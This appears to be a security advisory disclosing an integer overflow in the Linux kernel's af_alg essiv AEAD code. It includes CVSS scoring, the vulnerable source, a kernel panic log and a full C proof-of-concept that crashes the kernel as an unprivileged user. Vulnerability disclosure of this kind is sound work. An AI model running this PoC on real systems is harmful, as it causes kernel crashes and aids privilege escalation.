Skip to content

Latest commit

 

History

History
243 lines (206 loc) · 10.1 KB

File metadata and controls

243 lines (206 loc) · 10.1 KB

Requirements:

Summary

Product Linux Kernel
Vendor Linux
Severity High - Adversaries may exploit software vulnerabilities to elevate its privileges to root.
Affected Versions Linux v5.4-rc1 - upstream
CVE Identifier
CVE Description A integer overflow dues to missing check on assoclen vulnerability in the Linux Kernel af_alg can be exploited to achieve local privilege escalation
CWE Classification(s) CWE-190: Integer Overflow or Wraparound

CVSS3.1 Scoring System

Base Score: 7.8 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Description of the vulnerability

In essiv_aead_crypt, it doesn't check the case where req->assoclen less than crypto_aead_ivsize, thus it make the calculation integer flow when it want to call scatterwalk_map_and_copy when copy the encrypted IV to req->dst.

static int essiv_aead_crypt(struct aead_request *req, bool enc)
{
    ...

    rctx->assoc = NULL;
    if (req->src == req->dst || !enc) {
        scatterwalk_map_and_copy(req->iv, req->dst,
        req->assoclen - crypto_aead_ivsize(tfm) /* integer overflow */,
        crypto_aead_ivsize(tfm), 1);

Proof-Of-Concept Crash log

  • Run poc under Linux 6.12.48
[    2.410116] BUG: kernel NULL pointer dereference, address: 000000000000000c
[    2.412101] #PF: supervisor read access in kernel mode
[    2.413750] #PF: error_code(0x0000) - not-present page
[    2.415747] PGD 102dd5067 P4D 102dd5067 PUD 102dd6067 PMD 0
[    2.419111] Oops: Oops: 0000 [#1] SMP NOPTI
[    2.421499] CPU: 0 UID: 1000 PID: 152 Comm: exploit Not tainted 6.12.48 #1
[    2.424898] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    2.430109] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[    2.431948] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[    2.438392] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[    2.439451] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[    2.441484] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[    2.444145] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[    2.446248] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[    2.449155] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[    2.451461] FS:  000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[    2.453968] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    2.455878] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[    2.458399] PKRU: 55555554
[    2.459454] Call Trace:
[    2.460568]  <TASK>
[    2.461530]  scatterwalk_map_and_copy+0x56/0xa0
[    2.463175]  essiv_aead_crypt+0x1aa/0x310
[    2.464637]  aead_recvmsg+0x59b/0x670
[    2.465870]  sock_recvmsg+0xb0/0xc0
[    2.467112]  __sys_recvfrom+0xb5/0x120
[    2.468411]  __x64_sys_recvfrom+0x24/0x30
[    2.469756]  do_syscall_64+0x58/0x120
[    2.470743]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[    2.472874] RIP: 0033:0x41c9dd
[    2.474108] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d 8d 76 09 00 00 41 89 ca 74 20 45 31 c9 45 31 c0 b8 2d 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 6b c39
[    2.479311] RSP: 002b:00007fffddaa0f18 EFLAGS: 00000246 ORIG_RAX: 000000000000002d
[    2.482036] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000041c9dd
[    2.484265] RDX: 0000000000010000 RSI: 00000000004b4b20 RDI: 0000000000000006
[    2.486018] RBP: 00007fffddaa1100 R08: 0000000000000000 R09: 0000000000000000
[    2.488113] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fffddaa1218
[    2.490411] R13: 00007fffddaa1228 R14: 00000000004ae868 R15: 0000000000000001
[    2.492937]  </TASK>
[    2.493725] Modules linked in:
[    2.494879] CR2: 000000000000000c
[    2.496051] ---[ end trace 0000000000000000 ]---
[    2.497627] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[    2.499257] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[    2.505627] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[    2.507320] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[    2.509913] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[    2.512515] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[    2.514907] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[    2.517272] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[    2.519511] FS:  000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[    2.522143] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    2.524287] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[    2.526689] PKRU: 55555554
[    2.527621] Kernel panic - not syncing: Fatal exception
[    2.530360] Kernel Offset: disabled
[    2.531562] ---[ end Kernel panic - not syncing: Fatal exception ]---

Proof-of-concept Code

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <errno.h>
#include <err.h>
#include <sched.h>

#define PAUSE           \
{                   \
        int x;          \
        printf(":");    \
        read(0, &x, 1); \
}

#define SYSCHK(x) ({              \
                typeof(x) __res = (x);        \
                if (__res == (typeof(x))-1)   \
                err(1, "SYSCHK(" #x ")"); \
                __res;                        \
                })

char buf[0x1000000];

int main() {
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        int tfmfd, opfd;
        struct sockaddr_alg sa = {
                .salg_family = AF_ALG,
                .salg_type   = "aead",
                .salg_name   = "essiv(authenc(hmac(sha256),cbc(aes)),sha256)"
        };

        tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (tfmfd < 0) { perror("socket"); return 1; }

        if (bind(tfmfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
                perror("bind"); return 1;
        }

        // Build key blob: rta header + AES-128 + HMAC key
        unsigned char key[8 + 32 + 16] = {0};
        key[0] = 0x08; key[1] = 0x00; key[2] = 0x01; key[3] = 0x00; // rta
        key[4] = 0x00; key[5] = 0x00; key[6] = 0x00; key[7] = 0x10; // AES-128
        for (int i = 0; i < 32; i++) key[8+i] = i;        // HMAC key
        for (int i = 0; i < 16; i++) key[8+32+i] = i+0x10; // AES key

        if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) != 0) {
                perror("setsockopt(ALG_SET_KEY)"); return 1;
        }

        opfd = accept(tfmfd, NULL, 0);
        if (opfd < 0) { perror("accept"); return 1; }

        // IV (16 bytes)
        unsigned char iv[16] = {
                0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
                0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,0x10
        };


        // Plaintext
        int plen = 0x1000;

        // Setup control message for ALG_SET_OP + ALG_SET_IV
        char cbuf[CMSG_SPACE(sizeof(__u32)) + CMSG_SPACE(sizeof(struct af_alg_iv) + sizeof(iv)) + CMSG_SPACE(sizeof(__u32))];
        struct msghdr msg = {0};
        struct iovec iov = { buf, 0x100 };
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = cbuf;
        msg.msg_controllen = sizeof(cbuf);

        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
        // ALG_SET_OP
        cmsg->cmsg_level = SOL_ALG;
        cmsg->cmsg_type  = ALG_SET_OP;
        cmsg->cmsg_len   = CMSG_LEN(sizeof(__u32));
        *(__u32*)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;

        cmsg = CMSG_NXTHDR(&msg, cmsg);
        cmsg->cmsg_level = SOL_ALG;
        cmsg->cmsg_type  = ALG_SET_AEAD_ASSOCLEN;
        cmsg->cmsg_len   = CMSG_LEN(sizeof(__u32));
        *(__u32*)CMSG_DATA(cmsg) = 0x0;

        // ALG_SET_IV
        cmsg = CMSG_NXTHDR(&msg, cmsg);
        cmsg->cmsg_level = SOL_ALG;
        cmsg->cmsg_type  = ALG_SET_IV;
        cmsg->cmsg_len   = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
        struct af_alg_iv *ivmsg = (struct af_alg_iv*)CMSG_DATA(cmsg);
        ivmsg->ivlen = sizeof(iv);
        memcpy(ivmsg->iv, iv, sizeof(iv));



        // Send plaintext + control to kernel
        int ret = sendmsg(opfd, &msg, 0);
        if (ret < 0) { perror("sendmsg"); return 1; }

        int val = 0;
        SYSCHK(setsockopt(opfd, SOL_SOCKET, SO_RCVBUF, &val, sizeof(val)));
        // Receive ciphertext (ciphertext + auth tag)
        unsigned char ciphertext[64] = {0};


        ret = recv(opfd, buf, 16*0x1000, 0);
        if (ret < 0) { perror("recvmsg"); return 1; }


        close(opfd);
        close(tfmfd);
        return 0;
}

Discovery Credits

  • Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.